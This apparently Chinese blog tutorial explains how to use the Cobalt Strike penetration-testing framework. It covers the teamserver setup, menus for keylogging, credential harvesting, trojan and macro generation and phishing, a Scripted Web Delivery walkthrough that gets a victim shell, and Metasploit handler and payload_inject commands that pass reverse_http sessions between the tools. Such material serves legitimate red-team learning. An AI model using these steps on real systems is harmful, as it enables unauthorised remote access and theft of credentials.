• Cobalt Strike基本使用


    Cobalt Strike简介

    Cobalt Strike是一款由java编写的全平台多方协同渗透测试框架,在3.0版本之前它基于Metasploit框架工作,在3.0后的版本以独立成一个渗透测试平台。CobaltStrike集成了端口转发、端口扫描、socket代理、提权、钓鱼、远控木马等功能。该工具几乎覆盖了APT攻击链中所需要用到的各个技术环节,且其最大的优点在于可以进行团队合作和优越的UI界面。

    Cobalt Strike文件结构

    1.agscript 拓展应用的脚本
    2.c2lint 检查profile的错误异常
    3. cobaltstrike 客户端程序
    4.cobaltstrike.jar
    5.logs 日志
    6.data TeamServer的一些数据
    7.teamserver 团队服务器程序
    8.update 用于更新Cobalt Strike
    9.update.jar
    10.third-party 第三方工具
    在这里插入图片描述

    Cobalt Strike使用

    CobaltStrike分为客户端和服务端,Cobalt Strike 需要团队服务器才能使用。

    (1)启动TeamServer
    ./teamserver 192.168.178.128 123456 #ip为本机服务器ip 123456为设置的密码

    如果要将团队服务器部署在公网上,记得加强密码强度,防止团队服务器密码被破解
    在这里插入图片描述(2)启动Cobalt Strike Client
    在这里插入图片描述
    Host为团队服务器ip地址

    Port为默认端口

    User为连接的用户,用户可以自行选择

    Password为团队服务器设置的密码

    点击Connect连接之后
    在这里插入图片描述

    再点击是,则加入成功。

    Cobalt Strike基本使用_f5_05

    Cobalt Strike模块详解

    Cobalt Strike模块

    Cobalt Strike基本使用_f5_06在这里插入图片描述

    New Connection # 新建连接,支持连接多个服务器端
    Preferences # 设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录
    Visualization # 主要展示输出结果的视图
    VPN Interfaces # 设置VPN接口
    Listenrs # 创建监听器
    Script Manager # 脚本管理,可以通过AggressorScripts脚本来加强自身,能够扩展菜单栏,Beacon命令行,提权脚本等
    Close # 退出连接

    View模块

    Cobalt Strike基本使用_服务器_07在这里插入图片描述
    Applications # 显示受害主机的应用信息
    Credentials # 显示所有以获取的受害主机的凭证,如hashdump、Mimikatz
    Downloads # 查看已下载文件
    Event Log # 主机上线记录以及团队协作聊天记录
    Keystrokes # 查看键盘记录结果
    Proxy Pivots # 查看代理模块
    Screenshots # 查看所有屏幕截图
    Script Console # 加载第三方脚本以增强功能
    Targets # 显示所有受害主机
    Web Log # 所有Web服务的日志

    Attacks模块
    Cobalt Strike基本使用_web服务_10

    Packages
    Cobalt Strike基本使用_监听器_11

    1.HTML Application                # 生成(executable/VBA/powershell)这三种原理实现的恶意HTA木马文件
    2.MS Office Macro                 # 生成office宏病毒文件
    3.Payload Generator               # 生成各种语言版本的payload
    4.Windows Executable              # 生成可执行exe木马
    5.Windows Executable(Stageless)   # 生成无状态的可执行exe木马
    
    • 1
    • 2
    • 3
    • 4
    • 5

    Web-Drive-by

    Cobalt Strike基本使用_f5_12

    1.Manage                  # 对开启的web服务进行管理
    2.Clone Site              # 克隆网站,可以记录受害者提交的数据
    3.Host File               # 提供文件下载,可以选择Mime类型
    4.Scripted Web Delivery   # 为payload提供web服务以便下载和执行,类似于Metasploit的web_delivery 
    5.Signed Applet Attack    # 使用java自签名的程序进行钓鱼攻击(该方法已过时)
    6.Smart Applet Attack     # 自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本(该方法已过时)
    7.Spear Phish             # 鱼叉钓鱼邮件
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    Reporting模块

    Cobalt Strike基本使用_服务器_13

    Cobalt Strike基本使用_web服务_14

    1.Activity Report                      # 活动报告
    2.Hosts Report                         # 主机报告
    3.Indicators of Compromise             # IOC报告:包括C2配置文件的流量分析、域名、IP和上传文件的MD5 hashes
    4.Sessions Report                      # 会话报告
    5.Social Engineering Report            # 社会工程报告:包括鱼叉钓鱼邮件及点击记录
    6.Tactics, Techniques, and Procedures  # 战术技术及相关程序报告:包括行动对应的每种战术的检测策略和缓解策略
    7.Reset Data                           # 重置数据
    8.Export Data                          # 导出数据,导出.tsv文件格式
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    Help模块

    Cobalt Strike基本使用_网络安全_15

    Cobalt Strike基本使用_web服务_16

    1.Homepage             # 官方主页
    2.Support              # 技术支持
    3.Arsenal              # 开发者
    4.System information   # 版本信息
    5.About                # 关于
    
    • 1
    • 2
    • 3
    • 4
    • 5

    工具导航栏

    Cobalt Strike基本使用_f5_17

    1.1.新建连接
    2.2.断开当前连接
    3.3.监听器
    4.4.改变视图为Pivot Graph(视图列表)
    5.5.改变视图为Session Table(会话列表)
    6.6.改变视图为Target Table(目标列表)
    7.7.显示所有以获取的受害主机的凭证
    8.8.查看已下载文件
    9.9.查看键盘记录结果
    10.10.查看屏幕截图
    11.11.生成无状态的可执行exe木马
    12.12.使用java自签名的程序进行钓鱼攻击
    13.13.生成office宏病毒文件
    14.14.为payload提供web服务以便下载和执行
    15.15.提供文件下载,可以选择Mime类型
    16.16.管理Cobalt Strike上运行的web服务
    17.17.帮助
    18.18.关于
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    利用Cobalt Strike获取一个Beacon

    1、创建Listener

    Cobalt Strike基本使用_监听器_18

    在Listeners的面板中点击Add

    Cobalt Strike基本使用_f5_19

    然后输入名称(任意),选择监听器类型,团队服务器ip和监听端口保存即可。

    Cobalt Strike基本使用_web服务_20

    然后在监听的面板中就可以看到我们的监听器

    Cobalt Strike基本使用_f5_21

    在有了监听器之后,我们就可以选择我们的攻击模块进行漏洞利用了。我们这里选择Scripted Web Delivery攻击模块(为payload提供web服务以便下载和执行,类似于Metasploit的web_delivery)

    Cobalt Strike基本使用_web服务_22

    然后配置号监听端口和监听器后点击Launch

    Cobalt Strike基本使用_服务器_23

    然后会生成一个payload

    Cobalt Strike基本使用_监听器_24

    复制payload在powershell中执行,肉鸡即可上线

    Cobalt Strike基本使用_监听器_25

    我们可以进如Interact的交互模式进行执行命令

    Cobalt Strike基本使用_f5_26

    Cobalt Strike基本使用_f5_27

    Cobalt Strike功能详解

    Listeners(监听模块)

    在监听模块中内置了八个内置payload

    Cobalt Strike基本使用_监听器_28

    1.wndows/beacon_dns/reverse_dns_txt
    2.windows/beacon_http/reverse_http
    3.windows/beacon_https/reverse_https
    4.windows/beacon_bind_pipe
    5.windows/beacon_tcp
    6.windows/beacon_extc2
    7.windows/foreign/reverse_http
    8.windows/foreign/reverse_https
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    这些payload中windows/beacon为内置监听器,且有dns、http、https、smb、tcp、extc2六种监听方式,windows/foreign为外部监听器。

    内置监听器的使用原理和之前配置监听器原理大致相同,这里主要再演示一下外部监听器的使用。

    首先我们选择外置监听器Foreign模块,填写相关配置内容

    Cobalt Strike基本使用_网络安全_29

    然后打开在msf中配置相应监听模块

    1.msf5 > use exploit/multi/handler 
    2.msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
    3.msf5 exploit(multi/handler) > set lhost 192.168.178.128  #此处的IP地址和监听端口要和cs中设置的保持一致
    4.msf5 exploit(multi/handler) > set lport 4444
    
    
    1.msf5 exploit(multi/handler) > run
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    配置好之后我们就可以通过此监听器来传递我们的shell了,点击spawn

    Cobalt Strike基本使用_网络安全_30

    选择我们设置的msf这个外监听器

    Cobalt Strike基本使用_web服务_31

    这样在msf这边就可以接受到cs这边传递过来的shell

    Cobalt Strike基本使用_监听器_32

    这里讲述到了cs传递shell到msf,就不得不在提一提msf传递到cs了。

    首先我们把刚才接受到的session退出,这里记住这个session的id为1

    Cobalt Strike基本使用_网络安全_33

    然后使用模块

    1.msf5 exploit(multi/handler) > use exploit/windows/local/payload_inject
    
    
    
    1.msf5 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_http  #切记这里的payload的协议要与cs的一致
    
    • 1
    • 2
    • 3
    • 4
    • 5

    选择上了这个模块之后我们在回到cs上创建一个监听器,我这里有个之前创建好的监听器

    Cobalt Strike基本使用_web服务_34

    那我们继续回到msf上配置session和lhost和lport(切记这里的lhost和lport要和cs上监听器上配置的是一致的)
    在这里插入图片描述

    然后run执行在cs上等待上线即可。

    Cobalt Strike基本使用_f5_36

    Attacks(攻击模块)

    Scripted Web Delivery

    上面演示的是使用attacks模块中的scripted web delivery模块来进行拿到靶机的shell

    Cobalt Strike基本使用_服务器_37

    Cobalt Strike基本使用_f5_38

    这里有几个配置选项

    1.URL Path:存放payload的位置
    2.Local Host:团队服务器ip地址
    3.Local Port:团队服务器端口
    4.Listener:监听器
    5.Type:要选择的脚本类型
    
    • 1
    • 2
    • 3
    • 4
    • 5

    全部配置好了之后,点击launch后,会弹出payload

    Cobalt Strike基本使用_监听器_39

    在靶机上运行之后,靶机会在Teamserver下载payload,然后执行并加载到内存中,从而获取主机的Beacon。

    Manage

    Cobalt Strike基本使用_监听器_40

    Cobalt Strike基本使用_f5_41

    我们生成的监听器和一些payload都能在这里进行管理。

    Windows Executable

    Cobalt Strike基本使用_web服务_42

    Cobalt Strike基本使用_服务器_43

    使用方法也和之前大致相同,配置好监听器和Output即可,这里的Output分为EXE和DLL两种类型。

    1.Windows EXE:windows的可执行文件
    2.Windows Service EXE:基于服务的windows可执行文件,可以将可执行文件添加到服务中。
    3.Windows DLL:DLL文件,一般用于DLL劫持、提权和反弹Beacon。
    
    • 1
    • 2
    • 3

    Payload Generator

    Cobalt Strike基本使用_f5_44

    Cobalt Strike基本使用_网络安全_45

    配置监听器,选择对应脚本语言即可。

  • 相关阅读:
    孟桥版信号与系统学习笔记
    【uni-app从入门到实战】项目创建、基本配置、首页
    【云原生 • Kubernetes】一文掌握 k8s 包管理工具 Helm
    2023年09月 C/C++(五级)真题解析#中国电子学会#全国青少年软件编程等级考试
    postman调用接口报{“detail“:“Method \“DELETE\“ not allowed.“}错误, 解决记录
    视频监控/视频汇聚/安防视频监控平台EasyCVR配置集群后有一台显示离线是什么原因?
    OpenCV C++ Look Up Table(查找表)
    Springboot自定义缓存配置 CacheManager集成redis
    手把手教你Nginx常用模块详解之ngx_stream_upstream_module(八)
    Ubuntu 22.04 (WSL2) 安装 libssl1.1
  • 原文地址:https://blog.csdn.net/m0_60571990/article/details/127720195